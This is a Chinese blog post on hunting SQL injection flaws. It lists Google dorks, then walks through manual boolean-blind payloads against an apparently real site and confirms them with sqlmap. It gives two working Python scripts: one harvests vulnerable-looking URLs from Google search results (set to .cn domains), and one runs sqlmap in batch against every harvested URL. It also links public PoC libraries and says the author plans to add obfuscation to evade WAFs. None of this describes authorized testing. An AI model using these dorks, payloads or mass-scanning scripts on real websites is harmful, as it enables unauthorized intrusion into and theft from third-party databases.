【WEB安全】SQL注入挖掘

文章目录

  • 前言
  • 一、sql注入的分类
    • 注入漏洞存在位置
  • 二、漏洞挖掘
    • Google语法
    • 疑似注入点手工挖掘
    • 批量挖取此类漏洞
    • 已知sql注入漏洞挖掘
  • 总结
  • 免责声明:


前言

2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感信息,修改数据,甚至删除整个数据库。

为了防范SQL注入攻击,开发人员应该使用参数化查询或存储过程,并对用户输入进行严格的验证和过滤。这样可以确保用户输入不会被作为恶意代码注入到数据库中。

一、sql注入的分类

  1. 数字型注入:使用数字代替字符串来绕过数据验证。
  2. 字符型注入:使用字符串作为SQL语句的一部分来构造恶意代码。
  3. 时间型注入:使用时间数据类型作为SQL语句的一部分来构造恶意代码。
  4. UNION型注入:使用UNION操作符来合并多个查询的结果。
  5. 报错型注入:通过诱导数据库产生错误来获取数据。
  6. 基于盲注的注入:通过查询询问数据库中的数据来获取敏感信息。

注入漏洞存在位置

  • 用户输入的表单:Web应用程序中经常使用表单来收集用户的输入数据,如用户名、密码、搜索关键字等。如果应用程序没有正确验证和过滤用户输入数据,攻击者就可以在输入框中注入恶意的SQL语句,从而绕过应用程序的访问控制和数据过滤机制,对应用程序进行攻击。

  • URL参数:Web应用程序也经常从URL中获取参数,例如搜索查询、页面过滤等。如果应用程序没有正确验证和过滤URL参数,攻击者就可以修改URL参数中的值,构造恶意的SQL语句进行攻击。

  • Cookie数据:Web应用程序有时会将数据存储在用户的Cookie中,如果攻击者可以修改这些Cookie数据,就可以通过注入恶意的SQL语句来攻击应用程序。

  • 隐藏表单:Web应用程序中有些表单是隐藏的,用户无法直接访问或编辑,但攻击者可以通过特殊的手段修改这些隐藏表单的值,从而构造恶意的SQL语句进行攻击。

  • HTTP请求头:某些Web应用程序也会从HTTP请求头中获取参数,如用户代理、IP地址等。如果应用程序没有正确验证和过滤这些参数,攻击者就可以构造恶意的SQL语句进行攻击。

事例:登录位置
【WEB安全】SQL注入挖掘_第1张图片
表单反馈位置:
【WEB安全】SQL注入挖掘_第2张图片
搜索框位置
【WEB安全】SQL注入挖掘_第3张图片
留言板等
【WEB安全】SQL注入挖掘_第4张图片
参数传递:
【WEB安全】SQL注入挖掘_第5张图片

二、漏洞挖掘

Google语法

后面跟任意值

inurl:php?id=
inurl:asp?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:product.php?id=
inurl:category.php?id=
inurl:detail.php?id=
inurl:download.php?id=
inurl:gallery.php?id=
inurl:login.php?user=

更多规则:https://www.buzztouch.com/applications020113/JA56066181BD8600604F8D687/documents/customHTML_D6743F2710E179C07158D34.html
【WEB安全】SQL注入挖掘_第6张图片

疑似注入点手工挖掘

【WEB安全】SQL注入挖掘_第7张图片
加个单引号试一下
发现报错,这是一个典型的布尔盲注
【WEB安全】SQL注入挖掘_第8张图片
【WEB安全】SQL注入挖掘_第9张图片
通过order by 判断为21列
【WEB安全】SQL注入挖掘_第10张图片

判断数据库名的长度
22’ and length(database())>6
22’ and length(database())>7 时报错说明数据库名有6个字符

【WEB安全】SQL注入挖掘_第11张图片

id=22' and mid(database(),1,1)='a' --+
id=22' and mid(database(),1,1)='h' --+当为h时为正常显示说明数据库的第一个字母为h

【WEB安全】SQL注入挖掘_第12张图片
【WEB安全】SQL注入挖掘_第13张图片
布尔盲注建议使用工具进行测试,手工太慢,这里我们使用sqlmap工具进行下一步查询

【WEB安全】SQL注入挖掘_第14张图片
跑出来发现是和我们手工注入一样的结果,字段为21个数据库名以h开头的,到此为止不在进行利用。

批量挖取此类漏洞

使用脚本批量爬取可疑url进行测试
注意:此爬虫一个规则只能爬取100条数据,并对不规则数据进行去除。

import re
import requests
from bs4 import BeautifulSoup
import urllib3

urllib3.disable_warnings()

USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0"
site = ".cn"
queries = []
with open("queries.txt", "r") as f:
    queries = [query.strip() for query in f.readlines()]

num = 100
results = []
for query in queries:
    query = query.replace(' ', '+')
    URL = f"https://google.com/search?q={query}&num={num}"

    headers = {"user-agent": USER_AGENT}
    resp = requests.get(URL, headers=headers, verify=False)

    if resp.status_code == 200:
        soup = BeautifulSoup(resp.content, "html.parser")

        for g in soup.find_all('div'):
            anchors = g.find_all('a')
            if anchors:
                for anchor in anchors:
                    try:
                        link = anchor.get('href')
                        if re.match(r'^/url\?q=', link):
                            link = re.sub(r'^/url\?q=', '', link)
                            link = re.sub(r'&sa=.*', '', link)
                        if link and link.find('search?q') == -1 and link.find('google.com') == -1:
                            if link.startswith("http://") or link.startswith("https://"):
                                if link not in results:
                                    results.append(link)
                    except:
                        pass

with open("urls.txt", "w") as f:
    for result in results:
        f.write(result + "\n")

使用方法:创建queries.txt存放规则
在这里插入图片描述
执行python程序即可爬取,爬取完成会生成url.txt文件。

使用sqlmap的批量脚本进行测试

import os
import sys
import argparse
import time

def main():
    # 创建一个命令行参数解析器
    parser = argparse.ArgumentParser(description="批量扫描 SQL 注入漏洞")

    # 添加参数
    parser.add_argument('-i', '--input', required=True, help="包含要扫描的URL的文件路径")
    parser.add_argument('-o', '--output', default='output.txt', help="保存扫描结果的文件路径")
    parser.add_argument('-p', '--params', default='id', help="指定需要测试的参数名,多个参数用逗号分隔")
    parser.add_argument('-t', '--threads', default='10', help="同时进行扫描的线程数")

    # 解析参数
    args = parser.parse_args()

    # 读取要扫描的URL列表
    with open(args.input, 'r') as f:
        urls = f.readlines()

    # 遍历URL列表,对每个URL进行扫描
    for url in urls:
        url = url.strip()
        if not url.startswith('http'):
            url = 'http://' + url
        cmd = 'sqlmap -u "{}" -p "{}" --threads {} --batch -o -f -m "{}" > {} 2>&1 &'.format(url, args.params, args.threads, args.output, args.output)


        # 执行扫描命令
        os.system(cmd)
        # 等待一段时间,确保扫描结果已经写入到文件中
        time.sleep(10)

    # 输出有漏洞的URL
    with open(args.output, 'r') as f:
        lines = f.readlines()
        for line in lines:
            if '[*]' in line and 'GET' in line:
                start = line.index('\'') + 1
                end = line.index('\'', start)
                print(line[start:end])

if __name__ == '__main__':
    main()
使用说明:
-i:URl列表
-p:参数多个参数用逗号隔开
-t:为线程数
-o:结果输出文件
python sqlmap_scan.py -i urls.txt -p id,name -t 5 -o results.txt

已知sql注入漏洞挖掘

在漏洞库中有许多已经公开的sql注入漏洞,可通过fofa、shodan、钟馗之眼等查找
自建漏洞库(镜像站):
http://peiqi.19xinan.cn/#/
http://0sec.19xinan.cn/#/
【WEB安全】SQL注入挖掘_第15张图片
【WEB安全】SQL注入挖掘_第16张图片
根据poc测试:

很容易发现漏洞,当然可以给漏洞写批量脚本进行批量挖掘。

总结

在挖掘的过程中学习漏洞产生的原因,复现和寻找源码中的漏洞进行提高自己水平,现在的sql注入漏洞已经改善不少随着网络安全的发展现在很多公司有waf防火墙,下一步计划加强上面的脚本加上代码混淆尝试绕过一些防火墙。

免责声明:

本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。

本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。

本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。

本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。

最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。

你可能感兴趣的:(OWASP,TOP10,sql,web安全,数据库,sql注入)